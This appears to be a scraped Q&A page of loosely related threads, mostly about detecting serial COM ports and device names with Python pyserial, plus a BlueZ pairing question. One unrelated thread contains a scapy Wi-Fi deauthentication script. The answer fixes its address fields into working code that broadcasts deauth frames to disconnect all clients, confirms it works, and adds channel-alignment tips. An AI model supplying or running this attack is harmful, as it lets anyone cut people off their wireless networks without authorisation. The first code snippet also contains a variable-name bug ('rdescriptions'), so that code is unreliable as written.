I want to get a list of the devices which are connected to a COM Port. Instead of having python -m serial.tools.list_ports with the output COM1 COM2 for example, I want to have an output like Arduino_Uno Arduino Due etc. (Like the Arduino Gui do it, for example).
I found some answers for listing the COM Ports (like Listing available com ports with Python ), but no answer for my problem.
#J.P. Petersen is right - the serial port does not by itself provide that information. But the USB specifications allows some information to be sneaked in, and
serial.tools.list_ports.comports() thankfully returns that. The following code snipped is from my ArduinoBase class that works under Windows and Linux and does what you are looking for, i.e. it gives you Arduino Uno and Arduino Due descriptions as appropriate
def listPorts():
"""!
#brief Provide a list of names of serial ports that can be opened as well as a
a list of Arduino models.
#return A tuple of the port list and a corresponding list of device descriptions
"""
ports = list( serial.tools.list_ports.comports() )
resultPorts = []
descriptions = []
for port in ports:
if not port.description.startswith( "Arduino" ):
# correct for the somewhat questionable design choice for the USB
# description of the Arduino Uno
if port.manufacturer is not None:
if port.manufacturer.startswith( "Arduino" ) and \
port.device.endswith( port.description ):
port.description = "Arduino Uno"
else:
continue
else:
continue
if port.device:
resultPorts.append( port.device )
rdescriptions.append( str( port.description ) )
return (resultPorts, descriptions)
Related
I want to use a Teensyduino 3.2 for reading Serial input from my python program.
The python program uses the "serial.tools.list_ports" library to automatically detect Arduinos that are connected via USB with this simple code:
#____________finding Arduino COM Ports______________
ports = list(ser.comports())
for p in ports:
print(p)
if "Arduino" in p.description:
x = str(p)
arduinoCOM = x[:5]
print("")
print("____________________________")
print("Arduino found! arduinoPort:")
print(arduinoCOM)
print("____________________________")
print("")
Output of python program:
OM4 - USB Serial Device (COM4)
COM8 - Standard Serial over Bluetooth link (COM8)
COM51 - Arduino Uno (COM51)
____________________________
Arduino found! arduinoPort:
COM51
____________________________
COM7 - Standard Serial over Bluetooth link (COM7)
COM5 - USB Serial Device (COM5)
COM3 - Intel(R) Active Management Technology - SOL (COM3)
This works fine for any Arduino Boards because they're connection shows up as, for example: "Arduino Uno (COM51)" as shown in the Device Manager:
Device Manager Snipping Tool.png
But the Teensy (blue Highlighted) only shows up as: "USB Serial Device (COM14)".
Like this, my python code cant differentiate any USB device from the Teensyduino.
How can i rename the connection with my Teensyduino to for example: "Teensyduino 3.2 (COM14)?
What i have already tried:
https://medium.com/#j0hnm4r5/changing-teensy-serial-name-and-port-name-2ca76552d26d
https://www.youtube.com/watch?v=nrT7WXFEEZI
Thank you very much in advance!
Kind regards Liamzgi
The comports() method returns a list of ListPortInfo objects.
Instead of checking if the description contains the name 'Arduino', you can use the vid and pid members to see if those match those of the teensy bootloader (which you can copy from the properties you find in the windows device manager). The ListPortInfo also contains a number of other fields (such as a manufacturer field) which you can possibly use as well.
When I run this function I am still able to refresh any page, watch videos online, the devices on my network do not get disconnected, isn't this function supposed to dos all devices over the access point, I can see the packets in wireshark but i do still have internet connection
why is it not working?
#!/usr/bin/env python3
from scapy.all import (
RadioTap, # Adds additional metadata to an 802.11 frame
Dot11, # For creating 802.11 frame
Dot11Deauth, # For creating deauth frame
sendp # for sending packets
)
def deauth_me(target , bssid):
dot11 = Dot11(addr1=bssid, addr2=target, addr3=bssid)
frame = RadioTap()/dot11/Dot11Deauth()
sendp(frame, iface="wlan0mon", count=100000, inter=0.900)
pass
deauth_me(target="ff:ff:ff:ff:ff:ff" , bssid="6c:6f:26:96:57:3d")
I took a look at the code you provided and I did notice a problem.
The fix is to change the values of addr1 and addr2 when you initialize the dot11 variable.
Check out this StackOverflow post with the MAC addresses it gives to addr1, addr2, and addr3. In summary, addr1 should be the MAC address of the target and addr2 & addr3 should be the BSSID MAC address.
Working code:
#!/usr/bin/env python3
from scapy.all import (
RadioTap, # Adds additional metadata to an 802.11 frame
Dot11, # For creating 802.11 frame
Dot11Deauth, # For creating deauth frame
sendp # for sending packets
)
def deauth_me(target , bssid):
dot11 = Dot11(addr1=target, addr2=bssid, addr3=bssid)
frame = RadioTap()/dot11/Dot11Deauth()
sendp(frame, iface="wlan0mon", count=100000, inter=0.90)
pass
deauth_me(target="ff:ff:ff:ff:ff:ff" , bssid="6c:6f:26:96:57:3d")
I tested this code and was able to successfully disconnect my phone from a WiFi network.
Another issue you might run into is that your wireless interface is operating on a different channel than your access point. Unfortunately, scapy won't tell you if you are on the wrong channel. I was only able to find this out by using aircrack-ng.
If you use aircrack-ng and the channels are not aligned, the error will be something like this (X and Y would be replaced with the actual channels):
wlan0mon is on channel X, but the AP uses channel Y
And if you want to change the channel your wireless interface uses, all you have to do is:
iwconfig wlan0mon channel Y
I am implementing a custom Bluetooth pairing agent in Python using Bluez via DBUS. The agent needs to return one of a number of fixed PIN codes (legacy PINs, not simple pair mode requests) depending on which type of device is trying to pair. The devices are Bluetooth enabled medical monitors (blood pressure, scales etc) of which I have no control.
Originally, I was looking at the first bit of the devices Mac address and returning a PIN based on the manufacture prefix. This was working well. But the device I am now trying to add support for uses the same prefix (I assume it has the same BT chip) but a different PIN as one of the other devices I need to support. The only thing unique about the devices are their names which are always constant (such as "AND 1234" or "IEM 5678") so I tried to change by agent to look at the first bit of the name instead
knownPins = {
"aandd": "12345",
"iem ": "5678",
"default": "98689"
}
#dbus.service.method("org.bluez.Agent", in_signature="o", out_signature="s")
def RequestPinCode(self, device):
pprint("RequestPinCode ({})", device)
dbdevice = dbus.Interface(bus.get_object("org.bluez", device),
"org.bluez.Device")
bits = device.split('/')
mac = bits[-1].replace("dev_","").replace("_",":").lower()
props = dbdevice.GetProperties()
if not props["Name"]:
raise Rejected()
try:
for name, pin in knownPins.items():
if props["Name"].startswith(name):
return pin
return knownPins["default"]
except:
raise Rejected()
But, in most cases props["Name"] is simply empty - i assume this is because the pair request is being initiated by the remote party and since I have not done a discover, I dont know its name.
So my question is, how can I force a inquiry at this point in the process so I can get the device name? I have tried
adapter.CreateDevice(mac)
Which gives org.bluez.Error.AlreadyExists
I have tried
adapter.RemoveDevice(device)
adapter.CreateDevice(mac)
Which gives org.bluez.Error.DoesNotExist: Device creation in progress
I assume in both instances this is because Bluez is in the middle of trying to create the device
Thanks
I have one peripheral device (say hardware circuit with microcontroller). I have to iput some commands to this peripheral device via serial communication. These commands are embedded into a python script.
I am using USB-Serial cable to connect peripheral device to PC.
Now I have to write the code in pyserial so that PC will automatically detect the com port on which Peripheral device is connected and connects the devide with PC successfully.(loop back can be possible)
Currently I am using following Code in Pyserial. I have explicitely mentioned that Peripheral is connected to PC on COM1 ---
try:
self.ser = serial.Serial(0)
#self.ser.port='/dev/ttyS1'
self.ser.baudrate = 9600
self.ser.bytesize = serial.EIGHTBITS
self.ser.parity = serial.PARITY_NONE
self.ser.stopbits = serial.STOPBITS_ONE
self.ser.timeout = 1
self.ser.xonxoff = False #disable software flow control
self.ser.rtscts = False #disable hardware (RTS/CTS) flow control
self.ser.dsrdtr = False #disable hardware (DSR/DTR) flow control
self.ser.writeTimeout = 2 #timeout for write
except Exception, e:
print "error open serial port: " + str(e)
Please let me know that how can a COM port is automatically detected and gets connect afterwards?
This is a common issue and can be solved by checking for a specific return code (usually an identification string) from the peripheral device. Here's an example, using pyserial:
from serial.tools import list_ports
def locate_port():
"""Attempt to locate the serial port to which the device
is connected."""
status_request_string = 'OI;' # Output information
expected_response = 'DISPENSEMATE'
device_port = None
for port_name, port_desc, hw_id in list_ports.comports():
with serial.Serial(port=port_name, **device_serial_settings) as ser:
ser.write(status_request_string)
if ser.readline().startswith(expected_response):
device_port = port_name
break
if not device_port:
raise UserWarning('Could not find a serial port belonging to '
'the asymtek dispensemate.')
return device_port
Usually, the manual of the device you're communicating with has at least one command that does not change the state of the device, but merely echoes back your last line or returns its configuration, hardware ROM version or simply its name. It is this response (and the command that requests it), that you 'll need to fill in for expected_response and status_request_string respectively. The device_serial_settings is a dictionary that contains the parameters such as baudrate and parity bits; everything needed to connect properly to the device, except for its name.
As you can see, the code above was written for an Asymtek Dispensemate (an old one too and thus difficult to get support for).
If you call that function, you can use its return value to simply connect to the device:
port = locate_port()
my_device = serial.Serial(port, **device_serial_settings)
There is one caveat though: if the computer is connected to several serial devices that are all powered on, it is possible that you send an illegal command to the other devices. In the best case, they simply reply with an error code and their state will be unaffected, but the command could also make changes to these devices, so check all other peripherals for their dictionaries of "allowed opcodes".
I would like some indication on how to do this in python:
Identify the port named a specific name in the serial com (\Device\VCP0 and \Device\VCP1 these are get by browsing in regedit window)
And get the id of the device that is pluged
I can already identify the avalable COM with this pySerial code that scan up the active serial port COM
import serial
def scan():
"""scan for available ports. return a list of tuples (num, name)"""
available = []
for i in range(256):
try:
s = serial.Serial(i)
available.append( (i, s.portstr))
s.close() # explicit close 'cause of delayed GC in java
except serial.SerialException:
pass
return available
if __name__=='__main__':
print "Found ports:"
for n,s in scan():
print "(%d) %s" % (n,s)
Thanks in advance
I am not sure what operating system you are using, but this is in Win7-x64
import win32com.client
wmi = win32com.client.GetObject("winmgmts:")
for serial in wmi.InstancesOf("Win32_SerialPort"):
print (serial.Name, serial.Description)
Using this information, you can parse it and get the COM numbers.
You can get other attributes of the Serial instances here:
http://msdn.microsoft.com/en-us/library/aa394413(v=vs.85).aspx
Two answer
1) Because this relies on the hardware available, it is perfectly possible that the test code worked in the environment it was written on, but doesn't work in your environment - may be quite likely if you are on Windows and this was written on Linux. The code uses port 0 - don't know how that maps to COM1 etc.
2) On Windows, COM ports used to have DOS names like COM1, COM2 - i.e. A string, not an int (they aren't like TCP/IP port numbers). More recently in Windows there is the \.\COMnotanumber format which allows a more generic name, I've seen these used by a USB to serial converter. Having had a quick look at the source code of pyserial SerialBase in serialutil.py, it's a bit odd IMO, because AFAICT self.name only gets set when you use an explicit port setting by calling self.port(portname). You might want to try intializing the serial port instance with serport = Serial(0) then explicitly calling serport.port('COM1') (or whatever your port name is instead of COM1).
Just corrected the code. its working fine... :)
import serial
def scan():
available = []
for i in range(256):
try:
s = serial.Serial('COM'+str(i))
available.append( (s.portstr))
s.close() # explicit close 'cause of delayed GC in java
except serial.SerialException:
pass
for s in available:
print "%s" % (s)
if __name__=='__main__':
print "Found ports:"
scan()
If you are using a USB to TTY serial adapter, a unique symbolic link to the device driver file will appear in /dev/serial/by-id. The folder will only appear if a serial device is plugged in. The file name displayed is created from the product information in the USB interface chip on the device and will be unique for that device.
For instance, a Korad KD3005P programmable power supply will show up as usb-Nuvoton_USB_Virtual_COM_A92014090305-if00. The symbolic link will resolve to '/../../ttyACM0'. The required device drive file is then '/dev/ttyACM0'.